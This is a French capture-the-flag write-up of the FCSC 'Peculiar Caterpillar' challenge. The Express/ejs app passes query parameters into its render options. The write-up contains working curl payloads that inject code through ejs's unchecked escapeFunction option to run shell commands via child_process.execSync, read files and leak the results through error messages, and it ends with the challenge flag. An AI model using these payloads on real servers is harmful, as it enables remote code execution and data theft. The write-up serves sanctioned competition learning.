Peculiar Caterpillar

Alors qu'elle se promenait au Pays des merveilles,
Alice tomba sur une chenille Ă©trange.
À sa grande surprise, cette
derniĂšre se vantait d'avoir construit son propre site web en utilisant Javascript.
Bien que le site semblait simple,
Alice ne pouvait s'empĂȘcher de se demander s'il Ă©tait vraiment sĂ©curisĂ©.

https://peculiar-caterpillar.france-cybersecurity-challenge.fr/

SHA256(peculiar-caterpillar-public.tar.gz) =
0aad816ba8eeff048785257f1bc157e83e59ec3246af0f9556ef7b6e39b56b6f.

Analyse

Le challenge nous offre une archive, contenant plusieurs fichiers intĂ©ressants. On apprend notamment que l’application est codĂ©e en Node.js et qu’elle utilise deux dĂ©pendances.

package.json

{
  "name": "express_hello",
  "version": "1.0.0",
  "main": "index.js",
  "license": "MIT",
  "dependencies": {
    "ejs": "^3.1.9",
    "express": "^4.18.2"
  }
}

Le code source de l’application permet lui de nous afficher un message en fonction de la clĂ© name que nous lui envoyons dans l’URI.

require("express")().set("view engine", "ejs").use((req, res) => res.render("index", { name: "World", ...req.query })).listen(3000);
❯ curl http://127.0.0.1:3000/ | tail
      }
    </style>
  </head>

  <body>
    <main>
      <div id="bubble">Hello World</div>
    </main>
  </body>
</html>

❯ curl "http://127.0.0.1:3000/?name=Aether" | tail
      }
    </style>
  </head>

  <body>
    <main>
      <div id="bubble">Hello Aether</div>
    </main>
  </body>
</html>

Vulnérabilité

Une simple recherche permet de trouver un article qui explique comment réaliser une RCE sur la lib ejs (cf: https://eslam.io/posts/ejs-server-side-template-injection-rce/).

En rĂ©alisant les Ă©tapes une Ă  une, je rĂ©ussis Ă  avoir exactement les mĂȘmes comportements… C’est louche.

Me when the FCSC challenge seems to easy

J’arrive donc jusqu’Ă  la fin de l’article, au moment de rĂ©aliser la fameuse RCE (cf! https://eslam.io/posts/ejs-server-side-template-injection-rce/#the-rce-exploit-).

J’Ă©tais un peu, comme, aller prochain challenge s’est rĂ©glĂ© !

Badass

Puis…

❯ curl "http://127.0.0.1:3000/?name=Aether&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('id');s"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: outputFunctionName is not a valid JS identifier.<br> &nbsp; &nbsp;at Template.compile (/app/node_modules/ejs/lib/ejs.js:593:17)<br> &nbsp; &nbsp;at Object.compile (/app/node_modules/ejs/lib/ejs.js:398:16)<br> &nbsp; &nbsp;at handleCache (/app/node_modules/ejs/lib/ejs.js:235:18)<br> &nbsp; &nbsp;at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:16)<br> &nbsp; &nbsp;at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10)<br> &nbsp; &nbsp;at View.render (/app/node_modules/express/lib/view.js:135:8)<br> &nbsp; &nbsp;at tryRender (/app/node_modules/express/lib/application.js:657:10)<br> &nbsp; &nbsp;at Function.render (/app/node_modules/express/lib/application.js:609:3)<br> &nbsp; &nbsp;at ServerResponse.render (/app/node_modules/express/lib/response.js:1039:7)<br> &nbsp; &nbsp;at /app/index.js:1:70</pre>
</body>
</html>

On obtient l’erreur Error: outputFunctionName is not a valid JS identifier.. En continuant l’article, on apprend que la vulnĂ©rabilitĂ© a Ă©tĂ© trouvĂ© avant la version v3.1.7. Ce qui ne nous arrange pas.

Il va falloir mettre les mains dans le code et regarder tout cela.

Analyse de code

On va donc rĂ©cupĂ©rer la version 3.1.9 et l’analyser en local.

wget https://github.com/mde/ejs/archive/refs/tags/v3.1.9.zip

En reprenant la mĂȘme partie de code vulnĂ©rable que dans l’article, on remarque qu’il y a maintenant une regex qui est appliquĂ© pour Ă©viter les injections de code.

ejs.js:68 var _JS_IDENTIFIER = /^[a-zA-Z_$][0-9a-zA-Z_$]*$/;

ejs.js:591 if (opts.outputFunctionName) {
ejs.js:592     if (!_JS_IDENTIFIER.test(opts.outputFunctionName)) {
ejs.js:593         throw new Error('outputFunctionName is not a valid JS identifier.');
ejs.js:594     }
ejs.js:595     prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
ejs.js:596 }

L’idĂ©e serait de trouver un argument qui n’a pas cette vĂ©rification afin de l’utilisĂ© pour exploiter Ă  nouveau une RCE.

RCE

En cherchant plus bas dans le code, on aperçoit des options qui ne sont pas vérifiées.

ejs.js:580 var escapeFn = opts.escapeFunction;

ejs.js:636 if (opts.client) {
ejs.js:637     src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
ejs.js:638     if (opts.compileDebug) {
ejs.js:639         src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
ejs.js:640     }
ejs.js:641 }

Parfait, on a trouvé dans le code des options qui ne sont pas checké par la condition.

Pour permettre de mieux comprendre comment rĂ©aliser notre exploit, nous pouvons passer debug=true dans l’URL afin d’avoir une sortie textuelle dans les logs de notre Docker.

❯ curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=AETHER"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: AETHER is not defined<br> &nbsp; &nbsp;at index (&quot;/app/views/index.ejs&quot;:26:24)<br> &nbsp; &nbsp;at tryHandleCache (/app/node_modules/ejs/lib/ejs.js:274:36)<br> &nbsp; &nbsp;at View.exports.renderFile [as engine] (/app/node_modules/ejs/lib/ejs.js:491:10)<br> &nbsp; &nbsp;at View.render (/app/node_modules/express/lib/view.js:135:8)<br> &nbsp; &nbsp;at tryRender (/app/node_modules/express/lib/application.js:657:10)<br> &nbsp; &nbsp;at Function.render (/app/node_modules/express/lib/application.js:609:3)<br> &nbsp; &nbsp;at ServerResponse.render (/app/node_modules/express/lib/response.js:1039:7)<br> &nbsp; &nbsp;at /app/index.js:1:70<br> &nbsp; &nbsp;at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)<br> &nbsp; &nbsp;at trim_prefix (/app/node_modules/express/lib/router/index.js:328:13)</pre>
</body>
</html>

app_1  | escapeFn = escapeFn || AETHER;

Dans un fonctionnement normal et sans l’injection, cette ligne ressemble Ă  cela:

app_1  | escapeFn = escapeFn || function (markup) {

Simple et efficace, on va créer une fonction vide puis réaliser une exécution de commande

payload:

❯ curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id')

Le code interprété sera le suivant: app_1 | escapeFn = escapeFn || function(markup) {};process.mainModule.require('child_process').execSync('id');

Cependant, sans retour de commande, cela va ĂȘtre compliquĂ© de rĂ©cupĂ©rer le flag. Heureusement le File System est en read_only ce qui nous permet de gĂ©nĂ©rer des erreurs avec l’output de nos commandes.

❯ curl "http://127.0.0.1:3000/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(id)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id&gt;/tmp/$(id)
<br>/bin/sh: can&#39;t create /tmp/uid=405(guest) gid=100(users) groups=100(users): Read-only file system

Flag

Il ne nous reste plus qu’Ă  rĂ©cupĂ©rer le flag en remote:

❯ curl "https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(ls+-lah+/app)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id&gt;/tmp/$(ls -lah /app)
<br>/bin/sh: can&#39;t create /tmp/total 52K &nbsp; &nbsp;
<br>drwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;4.0K Apr 27 13:00 .
<br>drwxr-xr-x &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;4.0K Apr 27 13:01 ..
<br>-rw-r--r-- &nbsp; &nbsp;1 root &nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;71 Apr 27 13:00 flag-a49d3e9518ee659fa932482818e7eeeb.txt

❯ curl "https://peculiar-caterpillar.france-cybersecurity-challenge.fr/?name=Aether&debug=true&client=true&settings\[view%20options\]\[escapeFunction\]=function(markup)+\{\}%3bprocess.mainModule.require(%27child_process%27).execSync('id>/tmp/\$(cat+/app/flag-a49d3e9518ee659fa932482818e7eeeb.txt)')"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: Command failed: id&gt;/tmp/$(cat /app/flag-a49d3e9518ee659fa932482818e7eeeb.txt)
<br>/bin/sh: can&#39;t create /tmp/FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}

flag: FCSC{232448f3783105b36ab9d5f90754417a4f17931b4bdeeb6f301af2db0088cef6}